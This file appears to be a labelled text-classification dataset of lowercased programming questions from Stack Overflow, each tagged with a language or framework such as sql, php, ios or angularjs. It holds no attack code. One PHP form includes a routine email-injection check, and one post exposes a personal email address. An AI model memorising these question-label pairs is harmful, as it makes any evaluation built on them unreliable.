rails routes.rb get  user/new  vs get  user#new   in rails  routes.rb  what s difference between <code>get  user/new </code> vs <code>get  user#new </code>,ruby-on-rails
centre a website with masterpage   i want to use a div to centre a website  should this be done on the site.master or on each page     thanks,asp.net
uiimagepickercontroller takepicture fails to show shutter animation  i am using a standard uiimagepickercontroller with my own overlayview and am taking a picture using the <code>takepicture</code> method. the problem is that the shutter animation isn t happening. does it need to be triggered manually  this is on ios 6.,ios
sql query: how to do multiple counts (return number of posts as well as number of topics for each forum)  i m having some trouble getting the number of posts and topics for each of the forums on the database. i can get these values doing 2 queries but i wonder if it is possible to do it with only one query.    this query gets the number of topics per forum:   <pre><code>select forums.forumid  forums.forumname  count(*) as topics from topics  inner join forums on forums.forumid = topics.forumid  group by forums.forumid; </code></pre>   this query gets the number of posts per forum:   <pre><code>select forums.forumid  forums.forumname  count(*) as posts from posts  inner join topics on topics.topicid = posts.topicid  inner join forums on forums.forumid = topics.forumid  group by forums.forumid; </code></pre>   how do i get both post and topic count in just one query,sql
sql uploading replacing an entire column with (id  value) pairs  i have a sql table and want to update one of the columns with an entirely new column of data. i have a list of (id  value) pairs that looks as follows:    <pre><code>(2336  21)  (2337  13)  (2338  17)  (2339  20)  (2340  21)  (2341  4)  . . . </code></pre>   how can i write an sql statement that will use these to look for each id in the table and replace it with the new value      for example  it would find the row with id <code>2336</code> and replace its value with 21. (value is the name of another column).     i have looked into replace but it doesn t look like that will do the trick.,sql
sql query: having  group by  i have two tables. one with a list of shops and their id s (shop_id) and one with a list of employees with the id (shop_id) of the shop they work at.    i have to print out each employee with a certain position form a certain shop. my query is normally correct but i seem to get an error like tblemployees.     normally my query would look something like.   <pre><code>select tblemployees.name  tblemployees.surname  tblshops.shop_id from tblemployees  tblshops group by tblemployees.shop_id having tblemployees.shop_id = tblshops.shop_id; </code></pre>   normally i get an error saying something like:   <blockquote>    tblemployees.name is not part of an aggregate function.  </blockquote>   what i want to know is if it would solve my problem if i put every column that gives me this error under the group by statement. or is there another way of fixing this error without it affecting the result i need to get from this query.,sql
issue with nested for loops c#  it seems that i m kinda stuck with an assignment.<br> i need to use nested for loops to get this outcome:    0****<br> 01***<br> 012**<br> 0123*<br> 01234    but whatever i do i just don t seem to get there.    this is what i coded :     <pre><code>int i   j;   for (i=0; i&lt;=5;i++) {     for (j=3; j&gt;= 0; j--)     {         console.write(j);         console.write( * );     }      console.writeline(); }  console.writeline( press any key to continue ); console.readkey(); </code></pre>   but that gives me this outcome :    0*0*0*0*<br> 1*1*1*1*<br> 2*2*2*2*<br> 3*3*3*3*<br> 4*4*4*4*<br> 5*5*5*5*    and it needs to be a nested loop,c#
rails after_create callback to update a different model  i have users  groups  and memberships. i have a has_many through relationship set up between users and groups using the membership join table. what i am trying to do is set up an after_create callback that adds a new record into the memberships table whenever a user creates a new group  that way the creator is automatically a member of the group.     right now  a user can create a group  but the group will display having 0 members  and the user will have to join the group. how can i automate that part with the callback if i m trying to update the membership model from the group controller     user.rb   <pre><code>class user &lt; applicationrecord   has_many :created_groups  class_name:  group    has_many :memberships   has_many :groups  through: :memberships end </code></pre>   group.rb   <pre><code>class group &lt; applicationrecord    belongs_to :creator  class_name:  user    has_many :memberships   has_many :users  through: :memberships end </code></pre>   membership.rb   <pre><code>class membership &lt; applicationrecord   belongs_to :user   belongs_to :group end </code></pre>   groups_controller.rb   <pre><code>class groupscontroller &lt; applicationcontroller   after_create :set_membership    def create     @group = current_user.groups.build(group_params)      respond_to do |format|       if @group.save         format.html { redirect_to @group  notice:  you have a new group!  }       else         format.html { render :new }       end     end   end    private     def set_membership     end end </code></pre>   the set_membership part is where i m completely lost. i just need to grab the created group s id and use it to create a new membership (with current user id).,ruby-on-rails
php curl_exec output to variable  i want to get return values in php $variables    what i get now is like this     <strong>ok true 10007.20 cd3f2d61-c929-4a6e-a587-33878fb2b836 200</strong>    while i want to get it in variable:   <ul> <li>$value1 =  ok ;    </li> <li>$value2 =  true ;</li> <li> $value3 =  10007.20 ;   <pre><code>$ch = curl_init();  curl_setopt($ch  curlopt_url  https://www.smsbox.com/smsgateway/services/messaging.asmx/http_sendsms );  curl_setopt($ch  curlopt_post  1);  curl_setopt($ch  curlopt_postfields  username= .$username. &amp;password= .$password. &amp;customerid= .$cutomerid. &amp;sendertext= .$sendertext. &amp;messagebody= .$messagebody. &amp;recipientnumbers= .$recipientnumbers. &amp;defdate=&amp;isblink=false&amp;isflash=false );  curl_setopt($ch  curlopt_returntransfer  true);  $content = curl_exec($ch); echo $content;  curl_close ($ch);  </code></pre></li> </ul>   echo htmlentities($content);       ok true 10005.20 4ce81f05-31cb-40c4-93e2-fd68bf50fc23   version= 1.0  encoding= utf-8  > xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns= http://itbsms.com/ > ok true 10006.20 3320429f-59b8-47fc-a49e-3e209a472b16 />,php
php file not acting like php but like a page  i m trying to set up a form to send an email through php. i ve allready done that in the past so i used the same code  but this time  when i submit my form  it just runs the <code>.php</code> file as a normal page. it s doesn t run the code inside it. any ideas      here s my code:   <pre class= lang-html prettyprint-override ><code>&lt;form method= post  action= inc/form-to-email.php  name= myemailform &gt;         &lt;fieldset&gt;             &lt;legend&gt;nouveau client&lt;/legend&gt;             &lt;p style= color: red;  /&gt; * champ obligatoires&lt;/p&gt;             &lt;label for= nom &gt;nom&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= nom  id= nom  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= role &gt;rôle ( mère  père  tuteur légal  etc.)&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= role  id= role  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= telephone &gt;téléphone&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= telephone  id= telephone  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= autretelephone &gt;autre téléphone:&lt;br /&gt;             &lt;input type= text  name= autretelephone  id= autretelephone  size= 50 /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= courriel &gt;courriel&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;             &lt;input type= email  name= courriel  id= courriel  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= mcmasterville &gt;mcmasterville&lt;/label&gt;             &lt;input type= radio  name= clinique  value= mcmasterville  id= mcmasterville  checked /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;h6&gt;renseignement sur l enfant&lt;/h6&gt;&lt;br /&gt;             &lt;label for= nomenfant &gt;prénom&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;              &lt;input type= text  name= nomenfant  id= nomenfant  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;label for= age &gt;âge &lt;span style= color: red;   &gt;*&lt;/span&gt; : &lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= age  id= age  size= 50  /&gt;             &lt;br /&gt;             &lt;br /&gt;             sexe&lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;br /&gt;             &lt;label for= masculin &gt;masculin&lt;/label&gt;             &lt;input type= radio  name= sexe  value= masculin  id= masculin  checked /&gt;&lt;br /&gt;             &lt;label for= feminin &gt;feminin&lt;/label&gt;             &lt;input type= radio  name= sexe  value= feminin  id= feminin  /&gt;&lt;br /&gt;             &lt;h6&gt;raison de la demande&lt;/h6&gt;             &lt;label for= raison &gt;raison qui me pousse à consulter en ergothérapie &lt;span style= color: red;   &gt;*&lt;/span&gt; :&lt;/label&gt;&lt;br /&gt;              &lt;textarea name= raison  id= raison  rows= 10  cols= 45 &gt;&lt;/textarea&gt;             &lt;br /&gt;             &lt;br /&gt;             &lt;h6&gt;exemple de motifs de consultation&lt;/h6&gt;&lt;br /&gt;             &lt;div id= motifs &gt;             &lt; php while ( have_posts() ) : the_post();  &gt;                  &lt; php get_template_part(  content    page  );  &gt;              &lt; php endwhile;  &gt;             &lt;/div&gt;             &lt;label for= reference &gt;qui vous a référé à marcherparlerpenser &lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= reference  id= reference  size= 50  /&gt;&lt;br /&gt;             &lt;label for= fonction &gt;fonction de cette personne&lt;/label&gt;&lt;br /&gt;             &lt;input type= text  name= fonction  id= fonction  size= 50  /&gt;&lt;br /&gt;             &lt;br /&gt;             &lt;input type= submit  name= submit  value= envoyer  /&gt;&lt;br /&gt;         &lt;/fieldset&gt;         &lt;/form&gt; </code></pre>     `    and the php file:     <pre><code>&lt; php if(!isset($_post[ submit ])) {     //this page should not be accessed directly. need to submit the form.     echo  &lt;script type= text/javascript &gt;alert( erreur vous ne devrierz pas etre ici !  );&lt;/script&gt; ; }     $name = $_post[ nom ];     $role = $_post[ role ];     $telephone = $_post[ telephone ];     $autretelephone = $_post[ autretelephone ];     $visitor_email = $_post[ courriel ];     //rechercher la clinique     $prenom_enfant = $_post[ nomenfant ];     $age_enfant = $_post[ age ];     $sexe = $_post[ sexe ];     $raison = $_post[ raison ];     $reference = $_post[ reference ];     $fonction = $_post[ fonction ];      //validate first     $isvalide = true;     $confirmation =  le formulaire comporte des erreurs: \n ;     if(empty($name))      {         $confirmation .=  le nom ne peut être vide \n ;         $isvalide = false;     }     if(empty($role))     {         $confirmation .=  le role ne peut être vide \n ;         $isvalide = false;     }      if(empty($telephone))     {         $confirmation .=  le numéro de téléphone ne peut être vide \n ;         $isvalide = false;     }      if(empty($visitor_email))     {         $confirmation .=  le courriel ne peut etre vide \n ;         $isvalide = false;     }      if(empty($prenom_enfant))     {         $confirmation .= le prénom de l enfant ne peut être vide \n ;         $isvalide = false;     }      if(empty($age_enfant))     {         $confirmation .= l âge de l enfant ne peut être vide \n ;         $isvalide = false;     }      if(empty($raison))     {         $confirmation .= les raison de consultation ne peuvent être vide \n ;         $isvalide = false;     }     if(!$isvalide)     {         echo   &lt;script type= text/javascript &gt;alert($confirmation);&lt;/script&gt; ;         exit;     }      if(isinjected($visitor_email))     {         echo   &lt;script type= text/javascript &gt;alert( email invalide! );&lt;/script&gt; ;         exit;     }      $email_from =  info@marcherparlerpenser.com ;//&lt;== update the email address     $email_subject = $sujet;     $email_body =  vous avez reçu un e-mail de la pars de $name.\n                    information du client:\n                    nom: $name\n                    rôle avec l enfant: $role\n                    numéro de téléphone: $telephone\n                    autre numéro de téléphone: $autretelephone\n                    addresse email: $visitor_email\n                    information de l enfant:\n                    prénom de l enfant: $prenom_enfant\n                    âge de l enfant: $age\n                    sexe de l enfant:\n                    raison de la consultation:\n  $raison\n                     personne de référence: $reference\n                     fonction de cette personne: $fonction\n ;       $to =  dzzuick@gmail.com ;//&lt;== update the email address     $headers =  from: $email_from \r\n ;     $headers .=  reply-to: $visitor_email \r\n ;     //send the email!     if(mail($to $email_subject $email_body $headers)){     //done. redirect to thank-you page.      header( location: /index.php );     echo  &lt;script type= text/javascript &gt;alert( merci  nous vous répondrons sous peu ! );&lt;/script&gt; ;     }      // function to validate against any email injection attempts     function isinjected($str)     {       $injections = array( (\n+)                      (\r+)                      (\t+)                      (%0a+)                      (%0d+)                      (%08+)                      (%09+)                    );       $inject = join( |   $injections);       $inject =  /$inject/i ;       if(preg_match($inject $str))         {         return true;       }       else         {         return false;       }     }      &gt; </code></pre>,php
how do i insert into a table with a select statement   i have 2 tables with a join table.  here is my schema.   <pre><code>soldiers   soldier_id     integer   first_name  varchar(50)   last_name   varchar(50)  ranks   rank_id        integer   name        varchar(50)  soldier_ranks   soldier_id     integer   rank_id        integer </code></pre>   i am trying to insert a row into the <code>soldier_ranks</code> table.  i know the <code>id</code> of the <code>soldier</code> and i know the <code>name</code> of the <code>rank</code>.  here is what i have tried  but i can t figure out how to hard code the <code>soldier_id</code>.   <pre><code> insert into soldier ranks(soldier_id  rank_id)   // here i need to specify that soldier_id = 1   select rank.rank_id where rank.name =  colonel ; </code></pre>   how do i make this work,sql
why a disabled element can be enable by end user   i disable a textbox by c# code in an asp.net page with below code: textbox1.enabled=false;  to prevent user changing a specific value. as you know textbox1.enabled=false;  in html mode will convert to disabled= disabled  css prpoerties. but unfortunately end user can remove this css properties by firefox firebug and enable the textbox and press the submit button and send the changed value to server. so what can i do,asp.net
convert to time format only  i hv the following table which i hv converted:-    <img src= https://i.stack.imgur.com/juvm2.png  alt= enter image description here >    by using the following sql command:-    <img src= https://i.stack.imgur.com/myjbi.png  alt= enter image description here >    how can i convert it to this format:-    <img src= https://i.stack.imgur.com/o1qt0.png  alt= enter image description here >    i believe it has something to do with the  convert(datetime   7:30:00  120) .     thanks,sql
how can i get the number of occurrences in a sql in clause   let s say i have four tables: <code>page</code>  <code>user</code>  <code>tag</code>  and <code>page-tag</code>:   <pre><code>table      | fields ------------------------------------------ page       | id  content tag        | id  name user       | id  name     page-tag   | id  page-id  tag-id  user-id </code></pre>   and let s say i have four pages:   <pre><code>page#1  content page 1  tagged with tag#1 by user1  tagged with tag#1 by user2  page#2  content page 2  tagged with tag#3 by user2  tagged by tag#1 by user2  tagged by tag#8 by user1   page#3  content page 3  tagged with tag#7 by user#1 page#4  content page 4  tagged with tag#1 by user1  tagged with tag#8 by user1 </code></pre>   i expect my query to look something like this:    <pre><code>select page.content   from page  page-tag  where  page.id = page-tag.pag-id  and page-tag.tag-id in (1  3  8)  order by   desc </code></pre>   i would like to get output like this:   <pre><code>content page 2  3 content page 4  2 content page 1  1 </code></pre>  <hr>   quoting neall    <blockquote>    your question is a bit confusing. do you want to get the number of times each page has been tagged    </blockquote>   no   <blockquote>    the number of times each page has gotten each tag    </blockquote>   no   <blockquote>    the number of unique users that have tagged a page    </blockquote>   no    <blockquote>    the number of unique users that have tagged each page with each tag   </blockquote>   no    i want to know how many of the passed tags appear in a particular page  not just if any of the tags appear.     sql in works like an boolean operator or. if a page was tagged with any value within the in clause then it returns true. i would like to know how many of the values inside of the in clause return true.     below i show  the output i expect:    <pre><code>page 1 | in (1 2)   -&gt; 1  page 1 | in (1 2 3) -&gt; 1  page 1 | in (1)     -&gt; 1  page 1 | in (1 3 8) -&gt; 1  page 2 | in (1 2)   -&gt; 1  page 2 | in (1 2 3) -&gt; 2  page 2 | in (1)     -&gt; 1  page 2 | in (1 3 8) -&gt; 3  page 4 | in (1 2 3) -&gt; 1  page 4 | in (1 2 3) -&gt; 1  page 4 | in (1)     -&gt; 1  page 4 | in (1 3 8) -&gt; 2 </code></pre>   this will be the content of the page-tag table i mentioned before:    <pre><code>   id       page-id  tag-id  user-id        1       1        1       1       2       1        1       2       3       2        3       2       4       2        1       2       5       2        8       1       6       3        7       1       7       4        1       1       8       4        8       1  </code></pre>   <strong>@kristof</strong> does not exactly what i am searching for but thanks anyway.     <strong>@daren</strong> if i execute you code i get the next error:    <pre><code>#1054 - unknown column  page-tag.tag-id  in  having clause   </code></pre>   <strong>@eduardo molteni</strong> your answer does not give the output in the question but:    <pre><code>content page 2 8 content page 4 8 content page 2 3 content page 1 1 content page 1 1 content page 2 1 cotnent page 4 1 </code></pre>   <strong>@keith</strong> i am using plain sql not t-sql and i am not familiar with t-sql  so i do not know how your query translate to plain sql.    any more ideas,sql
python: loop not exiting with  break   i have this while loop that is testing to make sure the user inputs either 1  2  or 3.  once the user inputs 1  2  or 3  the loop keeps going infinitely  i can t get out of it.   <pre><code>while true:     try:          filterselection = raw_input( please select a filter (1  2  or 3):  )          if filterselection ==  1  or filterselection ==  2  or filterselection ==  3 :               filterselection = int(filterselection)               break        else:           print  not a valid number try again!        except typeerror:           print  lol  that s not a number try again!  </code></pre>,python
iphone mpmusicplayercontroller playback starting position  i m using media player framework to access the user s music library on iphone. i would like to set the playback starting position so that i can start playing a song from 30 second mark  for example.     i have trouble finding out how to do this. the mpmediaplayercontroller only offers <code>beginseekingforward</code> but that s not quite what i m looking for as it simply accelerates the playback speed.     there is probably something really simple that i m missing.,iphone
sql not working properly  i have this query but this shows column does not exist   <pre><code>select  p.content  (select count(*) from share_member where username= pratik  and share_id=share) as allow  from posts p where allow &gt;= 1  </code></pre>   and i got this error    unknown column  allow  in  where clause     <strong>edit:</strong> this edit has been done to improve sql query for my use   <pre><code>select  p.content  case share_type  when  public  then  1  when  lsit  then      (select count(*) from share_member where username= pratik  and share_id=share) end as allow from posts p where allow=&gt;1 </code></pre>   <strong>error code 1064  sql state 42000</strong>,mysql
how to use wrap comment in html  sample structure:   <pre><code>&lt;div&gt;1111111111&lt;/div&gt; &lt;!-- first line --&gt; &lt;div&gt;2222222222&lt;/div&gt; &lt;!-- second line --&gt; &lt;div&gt;3333333333&lt;/div&gt; &lt;!-- third line --&gt; </code></pre>   it s ok. however  i want to wrap comment for this divs.    sure  not working like this:   <pre><code>&lt;!--     &lt;div&gt;1111111111&lt;/div&gt; &lt;!-- first line --&gt;     &lt;div&gt;2222222222&lt;/div&gt; &lt;!-- second line --&gt;     &lt;div&gt;3333333333&lt;/div&gt; &lt;!-- third line --&gt; --&gt; </code></pre>   how can i do this,html
storing a character constant in a character variable <pre><code>char ch =  a ; </code></pre>   here ch is a character variable  so it s size is one byte.  a  is a character constant so it s ascii value will be stored which is 2 byte.but how could it possible to store a 2 byte value in an 1 byte variable,c
iphone ios4.2 not allow mkmapview initialized in another thread!  because of the performance issue  i try to initialize my mapview in multithread. it works perfectly in ios4.1 or below version.. however today some users send me emails that they got problem with the map. and i got this message:     terminating app due to uncaught exception  nsrangeexception   reason:   initwithframe:: mkmapview must be initialized on the main thread.     i have already changed my mapview initialization to the main thread.. however  do you guys know how to initialize the map in another thread with ios 4.2     regards penny,iphone
rails jquery native vs rails gem  i m using jquery more and more.  but  one thing confuses me.    what benefit do you get from using a rails gem that implements a jquery module  over just installing the pieces without the gem     for instance bootstrap-editable-rails for x-editable.  or twitter-bootstrap-rails for bootstrap.    thanks!,ruby-on-rails
link won t work if its wrapping an i tag  why is my link not working if it has an  element as a child  is there a solution to this  i ve found this one: <a href= https://stackoverflow.com/questions/6496525/when-i-wrap-contents-in-an-a-tag-the-link-doesnt-work-in-ie-help >when i wrap contents in an &lt;a&gt; tag  the link doesn&#39;t work in ie  help </a> and it suggests using a div instead of an anchor tag but i want to stick with default browser functionality and don t want to write a script for this.   <pre><code>&lt;td class= pointer &gt;             &lt;a href= {{ url::to( admin/user/  . $user-&gt;user_id) }} &gt;&lt;i class= icons foundicon-unlock &gt;&lt;/i&gt;&lt;/a&gt;         &lt;/td&gt; </code></pre>,html
insert query issue i get #1054 - unknown column  dorel  in  field list    please some advice you can see my query bellow <pre><code>create database if not exists`mydatabase1`;   create table if not exists `produse` (   `id` int(15) not null auto_increment    `nume` varchar(45) not null    `denumire` varchar(44) not null    `pret` int(10) not null    `descriere` varchar(150)not null    `categorie` varchar(15)not null    `data`varchar(15)    `poza`varchar(300)    `telefon`int(20)not null    primary key (`id`) );    insert into produse (`id` `nume` `denumire` `pret` `descriere` `categorie` `data` `poza` `telefon`) values ( `dorel` `auto`  `1500` `de vanzare bmw g30 pret in euro` `auto-moto` `2017 may 18` `d:/xamp/htdocs/poze/g30.jpg` `0789 666666`)  ( `gicu`  `motocicleta` `3700` `vand moto bmw 9r ireprosabil` `auto-moto` `2018.08.23` `d:/xamp/htdocs/poze/9r.jpg` `0788 884221`)  ( `robi`  `manusa box`  `500` `de vanzare nou` `sport` `1976 apr 12 15:42:27` `d:/xamp/htdocs/poze/box.jpg` `0788 321654`)  ( `spiderman` `canoe` `1000` `vand pret in dinar` `sport` `2018 feb 30` `d:/xamp/htdocs/poze/canoe.jpg` `0744 434 534`)  ( `wonder woman` `cuptor` `40000` `vand cuptor secon hand bun` `home` `2045 ian 23` `d:/xamp/htdocs/poze/cuptor.jpeg` `0788 889 889`)  (`batman` `e30` `3700` `vand bmw e30 stare exceptionala` `auto-moto` `2016 04 20` `d:/xamp/htdocs/poze/e30.jpg` `0999876`)  (`elvis presley` `motocicleta harley` `12000` `schimb cu viata de preferat lunga` `auto-moto` `1977 may 23` `d:/xamp/htdocs/poze/harley.jpg` `1111` )  (`michael jackson` `arc compound` `5000` `vand hoyt nu am ce sa spun despre` `sport` `1999 03 12` `d:/xamp/htdocs/poze/hoyt.jpg` `0333 333 333`)  (`traian basescu` `lada` `24000` `vand sau schimb cu vapor` `auto-moto` `2000.01.01` `d:/xamp/htdocs/poze/lada.jpg` `0000 000 000`)  (`victor ponta` `laptop dell` `3000` `schimb cu permis de pescuit` `auto-moto` `2013.06.06` `d:/xamp/htdocs/poze/laptop.jpg` `0999 787878`)  (`vin diesel` `indian` `10000` `mint condition indian for sell` `auto-moto` `2014.09.09` `d:/xamp/htdocs/poze/indian.jpg` `0100 5555 22`)  (`elena udrea` `mobila` `000` `schimb cu lenjerie intima` `home` `2013.08.07` `d:/xamp/htdocs/poze/mobila.jpg` `0888 888 888`)  (`ronaldo` `nevasta` `000` `schimb nevasta cu o motocicleta` `home` `2018.06.23` `d:/xamp/htdocs/poze/nevasta.jpg` `78878878`)  (`marko bela` `lada niva` `45000` `cumpar lada niva  cu pret mai ieftin nu discut ` `auto-moto`   `2018.05.12` `d:/xamp/htdocs/poze/niva.jpg` `898989`)  (`gizi` `parapanta ozone` `1500` `vand parapanta second folosit putin` `sport` `2018.05.23` `d:/xamp/htdocs/poze/ozone.jpg` `0745 233 445`)  (`simona halep` `racheta alba` `0000` `dau gratis` `sport` `2018.04.31` `d:/xamp/htdocs/poze/racheta.jpg` `090909`)  (`valentino rossi` `s100rr` `500` `for as little as 500 you can get brand new bmws 1000rr` `automoto` `2018.01.01` `d:/xamp/htdocs/poze/s100rr.jpg` `7878787`)  (`superman` `samsung tv` `23000` `vand tv-ul ieftin numai acum numai azi` `electronice` `2018.02.12` `d:/xamp/htdocs/poze/tv.jpg` `666666`)  (`kojak` `uscator de par` `200` `vand uscator de par ca nu mai am par` `electronice` `2018.06.08` `d:/xamp/htdocs/poze/uscator.jpg` `5666666`)  (`garcea` `vw polo` `20` `vand volkswagen polo merita vazut` `auto-moto` `2018.05.23` `d:/xamp/htdocs/poze/polo.jpg` `45454533`)  (`dorin florea` `pavaje` `100` `de vanzare metrucub pretavantajos` `home` `2018.03.03` `d:/xamp/htdocs/poze/pavaj.jpg` `0265 265 310`); </code></pre>,mysql
limit number of digits in label in html  is it possible to set limit of digits or words on label     is there any way to limit the number of digits in label in html  i ve searched on  internet in every possible way  but didn t get any result..please help me frnds.    like on any textbox or textarea:   <pre><code>&lt;textarea maxlength= 10 &gt;&lt;/textarea&gt; </code></pre>   or   <pre><code>&lt;input type= text  maxlength= 10  /&gt; </code></pre>   btw is it possible to cut the label after certain word limit through javascript,html
controlling order of execution in angularjs  i have inherited an angular app and now need to make a change.     as part of this change  some data needs to be set in one controller and then used from another. so i created a service and had one controller write data into it and one controller read data out of it.   <pre><code>angular.module( approot.controllers )  .controller( pagecontroller   function (myapiservice  myservice) {     // load data from api call     var data = myapiservice.getdata();      // write data into service     myservice.adddata(data); })  .controller( pagesubcontroller   function (myservice) {     // read data from service     var data = myservice.getdata();      // do something with data.... }) </code></pre>   however  when i go to use <code>data</code> in <code>pagesubcontroller</code> it is always undefined.    how can i make sure that <code>pagecontroller</code> executes before <code>pagesubcontroller</code>  or is that even the right question to ask     <strong>edit</strong>    my service code:   <pre><code>angular.module( approot.factories )  .factory( myservice   function () {     var data = [];      var adddata = function (d) {         data = d;     };      var getdata = function () {         return data;     };      return {         adddata: adddata          getdata: getdata     }; }) </code></pre>,angularjs
window.location.pathname vs. $location.$$path in angular  i m evaluating the path for some logic in my routes and controllers  and it seems like <code>window.location.pathname</code> works just fine as an alternative to injecting <code>$location</code> for <code>$location.$$path</code>  but i m not sure if angular has issues when using window.location that i m not aware of.    any problems with using `window.location.pathname,angularjs
problem with bulk data update in sql  i have this values in a coulmn say accountno in table record:   <pre><code>1 002 1 044 1 086 1 108 1 126 1 190 1 226 1 258 1 260 </code></pre>   now i want to update them as   <pre><code>1002 1044 1086 1108 1126 1190 1226 1258 1260 </code></pre>   the column is of type string. how can i do it,sql
$( #options\[0\]\[description\] ).val( helloworld ); does not work  i want to insert value <code>hello world</code> to input text which has id <code>options[0][description]</code>    but this does not work   <pre><code>$( #options\[0\]\[description\] ).val( helloworld ); </code></pre>,jquery
horizontal slide show  i have done a header with jquery which will change the image automatically after some particular time. that s works fine  now i would like to make on this header a horizontal slide which will show the images on a smaller scale where the uaser can skip and navigate through the images.     any simple suggestions of how i can do this in a simple way in jquery,jquery
passing polynomial coefficients generated from one function to another  since i have been writing a big python program for my project. i have another query of which i cant figure out the solution. here is the code.    <pre><code>poly = [[k6 3]  [k5 2]  [k4 1]  [k0 0]]  w = 5  # weight for rational bezier curve equation  def time() :     with open(transcriptionfile   r ) as tfile :             for line in tfile :                 li = line.split()                 if li :                     start_time = (int(li[0]) / 10000000.)                     end_time = (int(li[1]) / 10000000.)                      duration = ((int(li[1]) -int(li[0]))/10000000.)                     print start_time     end_time     duration                     poly_coeff(start_time  end_time  duration)  def poly_coeff(stime  etime  dur) :        the equation is k6 * u^3 + k5 * u^2 + k4 * u + k0 = 0. computing the        coefficients of this equation.           substituting the required values we get the coefficients.        t_u = dur     t0 = stime     t3 = etime     t1 = t2 = (stime + etime) / 2     w0 = w1 = w2 = w3 = w     k0 = w0 * (t_u - t0)     k1 = w1 * (t_u - t1)     k2 = w2 * (t_u - t2)     k3 = w3 * (t_u - t3)     k4 = 3 * (k1 - k0)     k5 = 3 * (k2 - 2 * k1 + k0)     k6 = k3 - 3 * k2 + 3 * k1 -k0      print k0  k1  k2  k3  k4  k5  k6  if __name__ ==  __main__  :      if len(sys.argv) != 2 :          usage()       else :         transcriptionfile = sys.argv[1]          time()      newton(poly  0.42  1  0) </code></pre>   there is a list of start time  end time and their duration. all of them are passed to the function poly_coeff() to generate the polynomial coefficients. there will be as many as there are in the list. then for each polynomial generated  its corresponding coefficients should be passed as poly to newton() function to carry out other calculations. and at the top  the polynomial is represented as poly. in poly  each k6  k5  k4 and k0 values generated should be passed. of course it is not how to do but just to clear what i am trying to do. please help. thank you very much.,python
how to make the original view show  i have 2 viewcontroller  a and b. both of them inside a navigationcontroller. when i push a to b  i want b size only in center and stay in front of a  but the a behind should show the alpha = 1  but i can t do this. the a screen is black like this    <a href= https://i.stack.imgur.com/bleyn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bleyn.png  alt= enter image description here ></a>    here is my code at b in viewwillappear:   <pre><code>override func viewwillappear(animated: bool) {         super.viewwillappear(animated)         width = uiscreen.mainscreen().bounds.width         height = uiscreen.mainscreen().bounds.height         self.navigationcontroller .view.frame = cgrectmake(100  100  width! - 200  height! - 200)         title =            self.navigationcontroller .setnavigationbarhidden(false  animated: false)     } </code></pre>   all i want to set the view behind is show with alpha = 0.5. not black like this. mean the viewcontroller a is show instead of black screen  but of course we can not click anywhere in the view behind. anyhelp would be appreciate.,ios
too many import statement at home page when initializing the framework  in my angular project  i am planning to have a separate .js file for each page and a separate .js file for each service.     however  as i begin to code  i realized that i have a lot of  import statement in my index.html. this would cause user having to load all the .js file even if they might not need it.     an example of the .js for my index.html   <pre><code>&lt;!-- js --&gt; &lt;script src= js/vendor/angular.js &gt;&lt;/script&gt; &lt;script src= js/app/app.js  &gt;&lt;/script&gt;  &lt;!-- controllers --&gt;  &lt;script src= js/app/controllers/roomcontroller.js &gt;&lt;/script&gt;  &lt;script src= js/app/controllers/dashboardcontroller.js &gt;&lt;/script&gt;  &lt;!-- services --&gt;  &lt;script src= js/app/services/dashboardservice.js &gt;&lt;/script&gt; &lt;script src= js/app/services/roomservice.js &gt;&lt;/script&gt; &lt;script src= js/app/services/chatservice.js &gt;&lt;/script&gt; &lt;script src= js/app/services/videoservice.js &gt;&lt;/script&gt; </code></pre>   is there any solution to this,angularjs
css - space at top of website  i have a space at the top of my website and in my stylesheet i am using the <code>margin= 0 </code> and it should work  but does not.     this is a wordpress theme website and i looked at my page source and found the style code below which i assume was generated by wordpress  but i cannot find it anywhere to edit it.   <pre><code>&lt;style type= text/css  media= screen &gt;     html { margin-top: 32px !important; }     * html body { margin-top: 32px !important; }     @media screen and ( max-width: 782px ) {         html { margin-top: 46px !important; }         * html body { margin-top: 46px !important; }     } &lt;/style&gt; </code></pre>   please explain how i can do this,css
error: incompatible types possible lossy conversion from float to char  i am working on this project for an hour and i still can`t find a solution. i am always getting the same error(enigmaencrypt.java:44: error: incompatible types: possible lossy conversion from float to char         char e = examplecharinput;                  ^ 1 error)  here is my code :    <pre><code> import java.util.scanner;    // created by ab38 on 2015-12-01.  public class enigmaencrypt {       // static scanner field      private static scanner scan;      /**      * get a char from the command line.      *      * @return the first char of the current line  typed by the user      * on the command line.      */     private static char getchar() {         return scan.next().charat(0);     }      /**      * get an integer from the command line.      *      * @return the integer on the current line  typed by the user      * on the command line.      */     private static int getint() {         return scan.nextint();     }      public static void main(string[] args) {         scan = new scanner(system.in);          // example: how to get an integer from the command line:         system.out.println( enter an integer: );         int exampleintinput = getint();         system.out.println( rotorposition:   + exampleintinput);           // example: how to get a single char from the command line:         system.out.println( enter a single character: );         float examplecharinput = getchar() + exampleintinput;         char e = examplecharinput;          system.out.println( char from command line:   + e);       } } </code></pre>,java
